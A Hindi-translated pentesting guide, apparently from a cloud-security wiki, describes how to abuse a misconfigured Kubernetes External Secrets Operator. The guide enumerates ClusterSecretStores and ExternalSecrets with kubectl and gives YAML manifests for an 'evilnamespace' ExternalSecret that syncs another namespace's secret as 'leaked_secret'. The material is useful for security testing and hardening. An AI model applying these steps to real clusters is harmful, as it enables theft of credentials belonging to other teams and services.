External Secret Operator

Reading time: 3 minutes

इस पृष्ठ के मूल लेखक हैं Fares

यह पृष्ठ कुछ संकेत देता है कि आप कैसे एक गलत कॉन्फ़िगर किए गए ESO या एप्लिकेशन से रहस्यों को चुरा सकते हैं जो अपने रहस्यों को समन्वयित करने के लिए ESO का उपयोग करता है।

अस्वीकरण

नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह उस आवश्यकता पर निर्भर करता है जो एक रहस्य को आपके द्वारा स्वामित्व / समझौता किए गए namespace पर समन्वयित करने की अनुमति देती है। आपको इसे स्वयं पता करना होगा।

पूर्वापेक्षाएँ

  1. एक kubernetes / openshift क्लस्टर में एक पैर जमाना जिसमें एक namespace पर प्रशासनिक विशेषाधिकार हो
  2. क्लस्टर स्तर पर कम से कम ExternalSecret पर पढ़ने की पहुंच
  3. यह पता करें कि क्या कोई आवश्यक लेबल / एनोटेशन या समूह सदस्यता की आवश्यकता है जो ESO को आपके रहस्य को समन्वयित करने की अनुमति देती है। यदि आप भाग्यशाली हैं, तो आप किसी भी परिभाषित रहस्य को स्वतंत्र रूप से चुरा सकते हैं।

मौजूदा ClusterSecretStore के बारे में जानकारी इकट्ठा करना

मान लीजिए कि आपके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार वाले उपयोगकर्ता हैं; पहले मौजूदा ClusterSecretStores की सूची बनाकर शुरू करें।

sh
kubectl get ClusterSecretStore

ExternalSecret enumeration

मान लीजिए कि आपने mystore नाम का ClusterSecretStore पाया है। इसके संबंधित externalsecret की गणना जारी रखें।

sh
kubectl get externalsecret -A | grep mystore

यह संसाधन नामस्थान स्कोप किया गया है, इसलिए जब तक आप पहले से नहीं जानते कि किस नामस्थान में देखना है, सभी नामस्थानों में देखने के लिए -A विकल्प जोड़ें।

आपको परिभाषित externalsecret की एक सूची मिलनी चाहिए। मान लीजिए कि आपने mysecret नाम का एक externalsecret ऑब्जेक्ट पाया है जो mynamespace नामस्थान द्वारा परिभाषित और उपयोग किया गया है। यह जानने के लिए कि यह किस प्रकार का रहस्य रखता है, थोड़ी और जानकारी इकट्ठा करें।

sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

टुकड़ों को इकट्ठा करना

यहां से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस तरह का होगा:

yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

अब तक हमारे पास है:

  • एक ClusterSecretStore का नाम
  • एक ExternalSecret का नाम
  • गुप्त का नाम

अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार अपने नए गुप्त को समन्वयित करने के लिए एक नया Namespace पैच/बनाने के लिए):

yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आपको अपने नामस्थान के अंदर लीक किया गया रहस्य देखने में सक्षम होना चाहिए।

sh
kubectl get secret leaked_secret -o yaml

संदर्भ

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.